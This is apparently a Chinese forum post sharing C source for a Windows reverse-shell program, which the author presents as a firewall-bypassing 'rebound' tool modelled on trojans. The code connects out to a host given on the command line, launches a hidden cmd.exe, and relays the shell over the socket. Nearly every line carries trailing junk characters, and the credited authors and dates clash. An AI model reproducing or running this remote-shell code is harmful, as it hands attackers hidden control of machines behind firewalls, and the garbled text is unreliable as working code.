这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xI(t!aYp
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/* ============================== .0b4"0~T6
Rebound port in Windows NT ?
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By wind,2006/7 rcU*6`IWA
===============================*/ ''3b[<
#include dk[MT'DV
#include /&!4oBna
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#pragma comment(lib,"wsock32.lib") Q8?:L<A
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void OutputShell(); 7AuzGA0y
SOCKET sClient; 1%Su~Z"W>
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |Q*OA
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void main(int argc,char **argv) eccJt
{ F$nc9x[S
WSADATA stWsaData; @0&KM|+
int nRet; ?v@pB>NZ
SOCKADDR_IN stSaiClient,stSaiServer; "Kc1@EX=
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if(argc != 3) a*bAf'=
{ Su*f`~G];
printf("Useage:\n\rRebound DestIP DestPort\n"); 3\E G
return; '8V>:dy>
} 6#upBF:
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WSAStartup(MAKEWORD(2,2),&stWsaData); kS1?%E,)q
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U])$#/ v
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stSaiClient.sin_family = AF_INET; r"bV{v
stSaiClient.sin_port = htons(0); 4ztU) 1
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kH" >(f
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #CTeZ/g
{ 9?.
printf("Bind Socket Failed!\n"); t~kh?u].j
return; 'H8;(Rw
} u)9YRMl
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stSaiServer.sin_family = AF_INET; 7x//4G
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); k r ga!,I
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); bD4aSubN
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o%)38T*n3
{ [/GCy0jk
printf("Connect Error!"); &[qJ=HMm I
return; tr@)zM
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} wHE1Jqpo
OutputShell(); TaNcnAY>9
} {jOV8SVL
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void OutputShell() 3fd?xhWbN
{ }2.0e5[
char szBuff[1024]; 9six]T
SECURITY_ATTRIBUTES stSecurityAttributes; v18OUPPX
OSVERSIONINFO stOsversionInfo; v!6IH
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $q 9dkt
STARTUPINFO stStartupInfo; $b`~K MO
char *szShell; y1_z(L;I
PROCESS_INFORMATION stProcessInformation; v&r\Z @%
unsigned long lBytesRead; ~fY\;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]CGH )4Pe
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); PS'SI X
stSecurityAttributes.lpSecurityDescriptor = 0; 1g>>{ y
stSecurityAttributes.bInheritHandle = TRUE; Wo+^R%K'4
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); q"$C)o
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +~\ 1g^h
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5j>olz=n}
stStartupInfo.wShowWindow = SW_HIDE;
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stStartupInfo.hStdInput = hReadPipe; }II)<g'
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; SmCtwcB1
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GetVersionEx(&stOsversionInfo); sM6o(=>
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switch(stOsversionInfo.dwPlatformId) Y[.f`Ei2
{ <m0m8p"G
case 1: $8WeWmY
szShell = "command.com"; a+,zXJQYq
break; :b"&Rc&s.
default: Hh`HMa'q
szShell = "cmd.exe"; >TG#
break; -fT}Nj\
} 7_CX6:
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3='Kii=LA
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send(sClient,szMsg,77,0); +O!4~k^
while(1) 8Az|SJ<
{ +6Ye'IOG
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9" cyZO
if(lBytesRead)
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{ @Zw[LIQ*
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); yII+#?D
send(sClient,szBuff,lBytesRead,0); (7w95xI
} nQ08(8
else N4$ K{
{ Ls/*&u
lBytesRead=recv(sClient,szBuff,1024,0); P asVfC@
if(lBytesRead<=0) break; C"R}_C|r)*
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &x)n K
} YYF.0G}
} 0S&C[I
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return; g>;"Fymc'
}